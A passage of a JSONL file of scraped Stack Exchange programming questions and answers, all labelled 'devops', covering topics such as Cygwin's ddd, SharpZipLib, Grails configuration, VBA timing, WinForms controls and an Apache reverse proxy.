"https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:39.506640"}
{"id": "hf_c78c7a0151bf", "question": "<p>I’m using the gcc in MinGW that comes with Strawberry Perl, on Windows XP. I’d like to have <a href=\"http://www.gnu.org/software/ddd/\" rel=\"nofollow noreferrer\">ddd</a> (the Data Display Debugger) as well but apparently on Windows the simplest way to get ddd is by running Cygwin. So what's the bare minimum of Cygwin I can install to get ddd up and running? I'd prefer if I could run ddd natively on Win32 but that doesn't seem to be an option. </p>\n", "question_body": "", "answer": "If you're going for minimalism, you might want a smaller X server than\ncygwin-x11\n(though it's what I use, and I'm quite fond of it).\nStarwin X-Win32\nis actively maintained (though it costs $$ beyond the trial period), and avoids the overhead of installing Cygwin proper; there are other, zero-cost minimal X servers for win32 available, but I don't have linkage immediately available.\nAs the documentation at\nx.cygwin.com\nindicates, the\n```\nxorg-x11-base\n```\npackage is the bare minimum needed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:39.544813"}
{"id": "hf_aa4804250976", "question": "<p>Can anyone provide and example of downloading a PDF file using Watin?  I tried the SaveAsDialogHandler but I couldn't figure it out.  Perhaps a MemoryStream could be used?</p>\n\n<p>Thanks,</p>\n\n<p>--jb</p>\n", "question_body": "", "answer": "This code will do the trick. The UsedialogOnce class can be found in the WatiN.UnitTests code and will be part of the WatiN 1.3 release (which will probably be released tonigh 14 october).\nFileDownloadHandler fileDownloadHandler = new FileDownloadHandler(file.FullName);\nusing (new UseDialogOnce(ie.DialogWatcher, fileDownloadHandler))\n{\n    ie.Button(\"exportPdfButtonId\").ClickNoWait();\n```\n```\nfileDownloadHandler.WaitUntilFileDownloadDialogIsHandled(30);\nfileDownloadHandler.WaitUntilDownloadCompleted(200);\n```\n```\n}\nHTH,\nJeroen van Menen\nLead developer WatiN", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:39.580679"}
{"id": "hf_5e5acad56254", "question": "<p>We've all seen in-browser rich text editors, which allow you to edit colored/styled text in a WYSIWYG manner. But what about code editors, which automatically highlight code based on language rules as you type? Think Eclipse in a textarea (but without the refactoring support).</p>\n\n<p>Do such things exist? I imagine scaling would be a problem - larger files would be difficult  to edit efficiently.</p>\n", "question_body": "", "answer": "The\neditArea\njavascript library does a pretty good job. It's used by the\nOpenCMS\ncontent management system as it's in-place JSP and JavaScript editor. The colorization gets a bit confused when the file is > 2000 lines or so.\nThe feature list from their page is:\nEasy to integrate, only one script include and one function call\nTab support (allow to write well formated source code)\nSearch and replace (with regexp)\nCustomizable real-time syntax highlighting (currently: PHP, CSS, Javascript, Python, HTML, XML, VB, C, CPP, SQL, Pascal, Basic, Brainf*ck)\nAuto-indenting new lines\nLine numbering\nMultilanguage support (currently: Croatian, Danish, English, French, German, Italian, Japanese, Polish, Portuguese)\nFull screen mode\nCan work in the same environment than \"protype\" and \"mootools\"'s like libraries.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:39.604796"}
{"id": "hf_00d7001db2e5", "question": "<p>I'm using the following code, using the <a href=\"http://www.sharpziplib.com/\" rel=\"noreferrer\">SharpZipLib</a> library, to add files to a .zip file, but each file is being stored with its full path.  I need to only store the file, in the 'root' of the .zip file.</p>\n\n<pre><code>string[] files = Directory.GetFiles(folderPath);\nusing (ZipFile zipFile = ZipFile.Create(zipFilePath))\n{\n     zipFile.BeginUpdate();\n     foreach (string file in files)\n     {\n          zipFile.Add(file);\n     }\n     zipFile.CommitUpdate();\n}\n</code></pre>\n\n<p>I can't find anything about an option for this in the supplied documentation.  As this is a very popular library, I hope someone reading this may know something.</p>\n", "question_body": "", "answer": "How about using\nSystem.IO.Path.GetFileName()\ncombined with the entryName parameter of ZipFile.Add()?\n```\n```\nstring[] files = Directory.GetFiles(folderPath);\nusing (ZipFile zipFile = ZipFile.Create(zipFilePath))\n{\n     zipFile.BeginUpdate();\n     foreach (string file in files)\n     {\n          zipFile.Add(file, System.IO.Path.GetFileName(file));\n     }\n     zipFile.CommitUpdate();\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:39.654045"}
{"id": "hf_6893cd018c2a", "question": "<p>I'm learning how to make a firefox extension.\nI have created a xul and overlay file that makes a sidebar in my browser. I'm trying to put buttons in my sidebar that load different pages within the main browser window. I'm not sure how to access the main browser window and load a new url within it. I have here a simple button and script to show you what I have so far. Any light on this subject would be greatly appreciated! </p>\n\n<pre><code>&lt;script type=\"application/x-javascript\"&gt;    \n    function loadURL(url) {     \n\n            // I know this part is wrong. How do I load url into main browser??\n    window.content.open(url)\n    }\n&lt;/script&gt; \n\n&lt;button\n     id=\"identifier\"\n     class=\"dialog\"\n     label=\"Yahoo\"\n     image=\"images/image.jpg\"\n     oncommand=\"loadURL(\"http://www.yahoo.com);\"/&gt;   \n</code></pre>\n", "question_body": "", "answer": "You should be able to access active tab window context in the following way:\n```\nfunction loadURL(url) {  \n    content.wrappedJSObject.location = url;\n}\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:39.697249"}
{"id": "hf_24c4daa5fc69", "question": "<p>We're working with a fixed transaction log size on our databases, and I'd like to put together an application to monitor the log sizes so we can see when things are getting too tight and we need to grow the fixed trn log. </p>\n\n<p>Is there any TSQL command that I can run which will tell me the current size of the transaction log, and the fixed limit of the transaction log?</p>\n", "question_body": "", "answer": "A quick google search revealed this:\n```\n```\nDBCC SQLPERF ( LOGSPACE )\n```\n```\nWhy aren't you using autogrowth on the transaction log?  It seems like this would be a more reliable solution.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:39.775623"}
{"id": "hf_f7a41a2397c4", "question": "<p>in Config.groovy I see this:</p>\n\n<pre><code>// set per-environment serverURL stem for creating absolute links\nenvironments {\n    production {\n        grails.serverURL = \"http://www.changeme.com\"\n    }\n}\n</code></pre>\n\n<p>what is the correct way to access that at runtime?</p>\n", "question_body": "", "answer": "here it is:\n```\n```\nimport org.codehaus.groovy.grails.commons.ConfigurationHolder\nprintln ConfigurationHolder.config.grails.serverURL\n```\n```\nalternatively, in controllers and tags, apparently this will work:\n```\n```\ngrailsApplication.config.grails.serverURL\n```\n```\nI needed it in BootStrap, so option 1 was what I needed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:39.865785"}
{"id": "hf_22287d4e5daf", "question": "<p>Is there code in VBA I can wrap a function with that will let me know the time it took to run, so that I can compare the different running times of functions?</p>\n", "question_body": "", "answer": "Unless your functions are very slow, you're going to need a very high-resolution timer. The most accurate one I know is\n```\nQueryPerformanceCounter\n```\n. Google it for more info. Try pushing the following into a class, call it\n```\nCTimer\n```\nsay, then you can make an instance somewhere global and just call\n```\n.StartCounter\n```\nand\n```\n.TimeElapsed\n```\n```\n```\nOption Explicit\n\nPrivate Type LARGE_INTEGER\n    lowpart As Long\n    highpart As Long\nEnd Type\n\nPrivate Declare Function QueryPerformanceCounter Lib \"kernel32\" (lpPerformanceCount As LARGE_INTEGER) As Long\nPrivate Declare Function QueryPerformanceFrequency Lib \"kernel32\" (lpFrequency As LARGE_INTEGER) As Long\n\nPrivate m_CounterStart As LARGE_INTEGER\nPrivate m_CounterEnd As LARGE_INTEGER\nPrivate m_crFrequency As Double\n\nPrivate Const TWO_32 = 4294967296# ' = 256# * 256# * 256# * 256#\n\nPrivate Function LI2Double(LI As LARGE_INTEGER) As Double\nDim Low As Double\n    Low = LI.lowpart\n    If Low < 0 Then\n        Low = Low + TWO_32\n    End If\n    LI2Double = LI.highpart * TWO_32 + Low\nEnd Function\n\nPrivate Sub Class_Initialize()\nDim PerfFrequency As LARGE_INTEGER\n    QueryPerformanceFrequency PerfFrequency\n    m_crFrequency = LI2Double(PerfFrequency)\nEnd Sub\n\nPublic Sub StartCounter()\n    QueryPerformanceCounter m_CounterStart\nEnd Sub\n\nProperty Get TimeElapsed() As Double\nDim crStart As Double\nDim crStop As Double\n    QueryPerformanceCounter m_CounterEnd\n    crStart = LI2Double(m_CounterStart)\n    crStop = LI2Double(m_CounterEnd)\n    TimeElapsed = 1000# * (crStop - crStart) / m_crFrequency\nEnd Property\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:39.890903"}
{"id": "hf_f3e73433333b", "question": "<p>I'm planning on doing my next project in c# rather than c++ (using SlimDX).</p>\n\n<p>All of directX uses floats, however System.Math uses doubles. This means constantly converting between floats and doubles.</p>\n\n<p>So ideally I'd like to write all the code using floats, since I'm not getting any added precision converting to floats from doubles all the time anyways...</p>\n\n<p>However Ive been unable to find a set of maths functions for .net that uses floats. I could of course write my own library in c#, but id rather use an existing library which has been optimised etc...</p>\n", "question_body": "", "answer": "XNA provides several math constants (including 3D specialists, like PI/2 etc.) and some advanced math functions with float precision (though not the trigonometric functions). While that is most likely not an option for you, since XNA is not as slim as SlimDX, it certainly means that System.Math is either actually missing something, or the performance hit is not that big. In my experience, you don't actually calculate that much for yourself, because most of that is handled either by the geometry classes (Matrix, Quaternion, Vector) or the GPU itself.\nFrom that point of view, I'd have a look into SlimDX, what they are providing. Seems like the typical things like matrices, vectors, quaternions (and even 16 bit floats) are already there. If you're missing some constants with float precisions, just create them yourself (don't have the cast to be done every time, just at startup).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:39.976694"}
{"id": "hf_cf8d78a93f94", "question": "<p>How do I generate a random number between <code>0</code> and <code>n</code>?</p>\n", "question_body": "", "answer": "Well, I figured it out. Apparently there is a builtin (?) function called rand:\n```\n```\nrand(n + 1)\n```\n```\nIf someone answers with a more detailed answer, I'll mark that as the correct answer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:40.001279"}
{"id": "hf_d41de4973329", "question": "<p>Is there any way to access the file object used by a CSV writer/reader object after it has been instantiated?  I openned up the csv module, and it appears it's contest are builtin.  I also tried setting the file object as a property but I get the following error:</p>\n\n<pre><code>AttributeError: '_csv.writer' object has no attribute 'fileobj'\n</code></pre>\n", "question_body": "", "answer": "```\ncsv.writer\n```\nis a \"builtin\" function.  That is, it is written in compiled C code rather than Python.  So its internal variables can't be accessed from Python code.\nThat being said, I'm not sure\nwhy\nyou would need to inspect the csv.writer object to find out the file object.  That object is specified when creating the object:\n```\n```\nw = csv.writer(fileobj, dialect, ...)\n```\n```\nSo if you need to access that object later, just save it in another variable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:40.050596"}
{"id": "hf_8f776b998eaf", "question": "<p>I'm developing a system that needs to execute Intersystems Cache Terminal Scripts.</p>\n\n<p>When I run a routine inside the regular Caché terminal or a telnet terminal, Cache executes the routine until the end with no problems. But when I try to run the same routine, but this time calling the routine within a Caché terminal Script, Caché disconnects the session after a while. There is no mention at all in the documentation of a \"timeout\" setting or anything realted to the \"\" messages i'm getting.</p>\n\n<p>The script is run just like this:</p>\n\n<pre><code>Cterm.exe /console=cn_iptcp:192.168.2.13[23] c:\\test.s\n</code></pre>\n\n<p>1) Does anybody know what may be causing Interystems Caché to disconnected the session in the middle of the run (the session isn't idle either. It regularly outputs status messages to the console)?</p>\n\n<p>2) Any ideas of how to solve it?</p>\n\n<p>Thanks,</p>\n\n<p>Luís Fernando</p>\n", "question_body": "", "answer": "Is there a chance it's not a timeout, but some other problem?  Possibly a runtime error that's not being trapped/logged?\nThe main difference between running from the interactive console and as a script is that when you run interactively you're in Programmer Mode, but in the script you're in User Mode.  I can't think of any reason off-hand why that would matter, but possibly your code is sensitive to that.\nHere's something to try:  Write a very simple script that does nothing except write out a character every now and then.  Maybe something like this:\nF I=1:1:360 H 10 W \".\"  ;Write a dot every 10 seconds for 1 hour\nIf that gets the timeout too then you know it's the terminal, not your code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:40.123967"}
{"id": "hf_6228305cdbc0", "question": "<p>What’s the difference between the <code>System.Array.CopyTo()</code> and <code>System.Array.Clone()</code>?</p>\n", "question_body": "", "answer": "The\nClone()\nmethod returns a new array (a shallow copy) object containing all the elements in the original array.  The\nCopyTo()\nmethod copies the elements into another existing array.  Both perform a shallow copy.  A shallow copy means the contents (each array element) contains references to the same object as the elements in the original array.  A deep copy (which neither of these methods performs) would create a new instance of each element's object, resulting in a different, yet identical object.\nSo the difference are :\n```\n```\n1- CopyTo require to have a destination array when Clone return a new array.\n2- CopyTo let you specify an index (if required) to the destination array.\n```\n```\nEdit:\nRemove the wrong example.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:40.148875"}
{"id": "hf_c2ba56d69b4d", "question": "<p>How do I determine if the currency symbol is supposed to be on the left or right of a number using CFLocale / CFNumberFormatter in a Mac Carbon project?</p>\n\n<p>I need to interface with a spreadsheet application which requires me to pass a number, currency symbol, currency symbol location and padding instead of a CStringRef created with CFNumberFormatter.</p>\n\n<pre><code>CFLocaleRef currentLocale = CFLocaleCopyCurrent();\nCFTypeRef currencySymbol = CFLocaleGetValue (currentLocale, kCFLocaleCurrencySymbol);\n</code></pre>\n\n<p>provides me with the currency symbol as a string. But I'm lost on how to determine the position of the currency symbol...</p>\n", "question_body": "", "answer": "As a workaround, I have started to create a string representing a currency value and determining the position of the currency symbol by searching the string, but this sure looks fishy to me.\n```\n```\nCFNumberFormatterRef numberFormatter = CFNumberFormatterCreate(kCFAllocatorDefault, CFLocaleCopyCurrent(), kCFNumberFormatterCurrencyStyle);\n    double someNumber = 0;\n    CFStringRef asString = CFNumberFormatterCreateStringWithValue(kCFAllocatorDefault, numberFormatter, kCFNumberDoubleType, &someNumber);\n```\n```\n...\nFeel free to hit me with a rolled-up newspaper and tell me the real answer...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:40.197758"}
{"id": "hf_d759bef1ab1d", "question": "<p>In <code>.NET</code> (at least in the 2008 version, and maybe in 2005 as well), changing the <code>BackColor</code> property of a <code>DateTimePicker</code> has absolutely no affect on the appearance. How do I change the background color of the text area, not of the drop-down calendar?</p>\n\n<p><strong><em>Edit:</em></strong> I was talking about Windows forms, not ASP.</p>\n", "question_body": "", "answer": "According to\nMSDN\n:\nSetting the\n```\nBackColor\n```\nhas no effect on\n  the appearance of the\n```\nDateTimePicker\n```\n.\nYou need to write a custom control that extends\n```\nDateTimePicker\n```\n. Override the\n```\nBackColor\n```\nproperty and the\n```\nWndProc\n```\nmethod.\nWhenever you change the\n```\nBackColor\n```\n, don't forget to call the\n```\nmyDTPicker.Invalidate()\n```\nmethod. This will force the control to redrawn using the new color specified.\n```\n```\nconst int WM_ERASEBKGND = 0x14;\nprotected override void WndProc(ref System.Windows.Forms.Message m)\n{\n    if(m.Msg == WM_ERASEBKGND)\n    {\n        using(var g = Graphics.FromHdc(m.WParam))\n        {\n            using(var b = new SolidBrush(_backColor))\n            {\n                g.FillRectangle(b, ClientRectangle);\n            }\n        }\n        return;\n    }\n\n    base.WndProc(ref m);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:40.222209"}
{"id": "hf_550d71d807a0", "question": "<p>I have a third-party editor that basically comprises a textbox and a button (the DevExpress ButtonEdit control). I want to make a particular keystroke (<kbd>Alt</kbd> + <kbd>Down</kbd>) emulate clicking the button. In order to avoid writing this over and over, I want to make a generic KeyUp event handler that will raise the ButtonClick event. Unfortunately, there doesn't seem to be a method in the control that raises the ButtonClick event, so...</p>\n\n<p>How do I raise the event from an external function via reflection?</p>\n", "question_body": "", "answer": "From\nRaising an event via reflection\n, although I think the answer in\nVB.NET\n, that is, two posts ahead of this one will provide you with the generic approach (for example, I'd look to the VB.NET one for inspiration on referencing a type not in the same class):\n```\n```\npublic event EventHandler<EventArgs> MyEventToBeFired;\n\n    public void FireEvent(Guid instanceId, string handler)\n    {\n\n        // Note: this is being fired from a method with in the same\n        //       class that defined the event (that is, \"this\").\n\n        EventArgs e = new EventArgs(instanceId);\n\n        MulticastDelegate eventDelagate =\n              (MulticastDelegate)this.GetType().GetField(handler,\n               System.Reflection.BindingFlags.Instance |\n               System.Reflection.BindingFlags.NonPublic).GetValue(this);\n\n        Delegate[] delegates = eventDelagate.GetInvocationList();\n\n        foreach (Delegate dlg in delegates)\n        {\n            dlg.Method.Invoke(dlg.Target, new object[] { this, e });\n        }\n    }\n\n    FireEvent(new Guid(),  \"MyEventToBeFired\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:40.272441"}
{"id": "hf_ca483a4355d6", "question": "<p>I am interacting with an Oracle DB using SQL over an ODBC connection.  Is there an SQL command I can use to get the MAC address of the server, or something that uniquely identifies the server hardware or software installation.  This is so I can be sure (or at least fairly sure) that I'm talking to the same database all the time.</p>\n", "question_body": "", "answer": "I don't know if you could get the mac address at all. But there are several informations which may help you at the v$instance view.\n```\n```\nSELECT * FROM v$instance;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:40.296603"}
{"id": "hf_44628ad06ba7", "question": "<p>I've used a tool from Aspose (<a href=\"http://www.aspose.com/categories/file-format-components/aspose.pdf.kit-for-.net-and-java/default.aspx\" rel=\"noreferrer\">Aspose.PDF.kit</a>) to generate a JPG thumbnail on the fly of a PDF for a .NET application.  This works great,  but what kind of other alternatives are there?  Codeproject.com has <a href=\"http://www.codeproject.com/KB/GDI-plus/pdfthumbnail.aspx\" rel=\"noreferrer\">this tutorial</a>, but it requires you to have the full version of Acrobat.  </p>\n\n<p>Is there an open source alternative that's geared for ASP.NET? </p>\n", "question_body": "", "answer": "I absolutely despise working with PDF documents.  But when I absolutely have to, I have been using\niTextSharp\n.  It has quite a bit of functionality,\nthe API is fairly well documented\n, and it is theoretically free.  Though to use it effectively it helps if you get the book that they push on their website.  I'm not certain if you can easily make thumbnails with it, but it has worked for me in generating and manipulating PDFs on every project I've worked on so far.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:40.332117"}
{"id": "hf_0b481bfd8667", "question": "<p>I have apache web server installed as frontend and I have j2ee SAP Netweaver Application Server installed in Intranet server. How can I configure apache to forward requests and response to/from j2ee app server.\nfor example, external apache server's ip is 9.20.1.1:80. \ninternal sap server's address is 192.168.0.1/sap/bc/gui/sap/its/webgui?sap_client=200\nI want access to my sap app server for example 9.20.1.1/sapserver/sap/bc/gui/sap/its/webgui?sap_client=200</p>\n", "question_body": "", "answer": "Assuming you have mod_proxy enabled, add to you're sites-available:\n```\n```\nProxyRequests Off\n   <Location \"/sapserver\">\n        ProxyPass http://192.168.0.1\n        ProxyPassReverse http://192.168.0.1\n   </Location>\n```\n```\nBe careful though as this does expose your internal site to the entire internet.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:40.368242"}
{"id": "hf_ecd3d05fb6e2", "question": "<p>Is there any real practical difference between \"java -server\" and \"java -client\"?  </p>\n\n<p>All I can find on Sun's site is a vague </p>\n\n<blockquote>\n  <p>\"-server starts slower but should run faster\".  </p>\n</blockquote>\n\n<p>What are the real differences?  (Using JDK 1.6.0_07 currently.)</p>\n", "question_body": "", "answer": "I've not noticed any difference in startup time between the 2, but clocked a very minimal improvement in application performance with \"-server\" (Solaris server, everyone using SunRays to run the app).  That was under 1.5.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:40.410492"}
{"id": "hf_fa05584433b7", "question": "<p>Recently I've been thinking about <em>finite state machines</em> (FSMs), and how I would implement them in software (programming language doesn't matter).</p>\n\n<p>My understanding is that <em>deterministic state machines</em> are in widespread use (parses/lexers, compilers and so on), but what's the matter with <em>non-deterministic state machines</em>?</p>\n\n<p>I know that is possible to <em>convert</em> all non-deterministic state machines to deterministic ones (even programmatically). That's not my point. I also imagine that non-deterministic state machines are much more complicated to implement.</p>\n\n<p>Anyway, does it make <strong>any</strong> sense to implement a non-deterministic state machine? Are there any special applications I don't know about? \nWhat could be the reasons to do that? Maybe optimized and specialized non-deterministic state machines are faster?</p>\n", "question_body": "", "answer": "Most regular expression engines use\nnon\n-deterministic automata since they offer much greater flexibility. DFAs are much more restricted. Have a look at some implementations and you'll see this. Microsoft even underlines this fact in their documentation of the .NET\nRegex\nclass:\nThe .NET Framework regular expression engine is a backtracking regular expression matcher that incorporates a traditional Nondeterministic Finite Automaton (NFA) engine such as that used by Perl, Python, Emacs, and Tcl.\nMatching behavior\n(first paragraph) – this article also offers a rationale for the employment of an NFA rather than the more efficient DFA.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:40.447744"}
{"id": "hf_ee605785f44b", "question": "<p>I typically use URL rewriting to pass content IDs to my website, so this</p>\n\n<pre><code> Foo.1.aspx \n</code></pre>\n\n<p>rewrites to</p>\n\n<pre><code> Foo.aspx?id=1\n</code></pre>\n\n<p>For a specific application I need to pass in multiple IDs to a single page, so I've rewritten things to accept this:</p>\n\n<pre><code> Foo.1,2,3,4,5.aspx\n</code></pre>\n\n<p>This works fine in Cassini (the built-in ad hoc web server for Visual Studio) but gives me \"Internet Explorer cannot display the webpage\" when I try it on a live server running IIS. Is this an IIS limitation? Should I just use dashes or underscores instead of commas?</p>\n", "question_body": "", "answer": "The right way to\naccept\nmultiple ids is like this:\n```\n```\nFoo.aspx?id=1;id=2;id=3;id=4;id=5\n```\n```\nNote that's just what the target is.  When re-writing urls, you can set your own rules to a certain extent for what you want the source to look like.\nI had to learn this on StackOverflow, too.  See this question:\nSplit out ints from string", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:40.472950"}
{"id": "hf_0328a8687d8b", "question": "<p>In asp.net, you can retrieve MULTIPLE datatables from a single call to the database.  Can you do the same thing in php?</p>\n\n<p>Example:</p>\n\n<pre><code>$sql =\"select * from t1; select * from t2;\";\n$result = SomeQueryFunc($sql);\nprint_r($result[0]); // dump results for t1\nprint_r($result[1]); // dump results for t2\n</code></pre>\n\n<p>Can you do something like this?</p>\n", "question_body": "", "answer": "This should be possible with newer MySQL and the mysqli (improved) php extension.\nI'm not sure if any DB abstraction layers support this.\nSee relevant\nMySQL docs\nand\nPHP docs\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:40.559783"}
{"id": "hf_9ff3bcb13f5d", "question": "<p>I'm working on a solution that contains multiple projects targeting Windows Mobile 5 and standard Windows applications.</p>\n\n<p>Lately when opening up a form in designer the common UI controls (textbox, button, label, etc etc...) have vanished leaving only the controls defined within the project.</p>\n\n<p>Resetting the toolbox has no effect.  A google search suggested deleting the toolbox temp files in the <code>Local Settings\\Application Data\\Microsoft\\VisualStudio\\9.0</code>, however this was only successful in bringing back the default controls for Windows Mobile 5.  The WinForms controls are still mysteriously missing.</p>\n\n<p>Also, if I right-click and <em>Select All</em> on the toolbox, all of the WinForms controls do in fact come up, however they're all grayed out.</p>\n\n<p>Has anyone else experienced this?</p>\n", "question_body": "", "answer": "I've noticed this exact same thing for regular WinForms as well. I can't speak to mobile applications but in regular winforms this has a tendency to happen.\nI believe it's actually a bug in Visual Studio.\nThere are some things you can do (again, for WinForms. I'm not sure about mobile) with adding attributes to your control. Such as:\n```\n```\n[ToolboxBitmap(typeof(MyControl), \"MyControlBitmap\")]\n```\n```\nThere are some other useful related things on this site:\nhttp://en.csharp-online.net/Design-Time_Integration-Attributes", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:40.646118"}
{"id": "hf_5502b3bfb253", "question": "<p>I have a site that is using x509 client certificates (2 way SSL) to authenticate users and an LDAP directory that contains authorization information. I would like to use one of the certificate attributes to query the directory ( SSL_CLIENT_S_DN_CN to be exact ).  I see how to use mod_ssl to use the user's client certificates for authentication and I see how to use mod_auth_ldap and the like to use the username from basic or form based authentication to query the LDAP store for authorization. What I haven't seen a good example for is how to use an attribute of the user's client certificate in place of the username to query the LDAP. Any ideas?</p>\n", "question_body": "", "answer": "this might help:\nsettingcerts\n+\nmod_authnz_ldap\n(authldapurl)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:40.687412"}
{"id": "hf_a7a6048f92e6", "question": "<p>Ok, so I'm building bread crumbs and depending on the value of the breadcrumb an image will be the seperator. So \"HOME\" will have one image and \"SEARCH\" will have another. </p>\n\n<p>I know I can do this programatically (at least I ASSUME) but is there an easier way to do this? Can I link an image to a node based on the value of the node? Can I do it with PathSeparatorTemplate? </p>\n\n<p>Thank you. </p>\n", "question_body": "", "answer": "You can put an\n```\n```\n<asp:Image ... />\n```\n```\ninto the PathSerparatorTemplate but you still have to set the image url from code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:40.759358"}
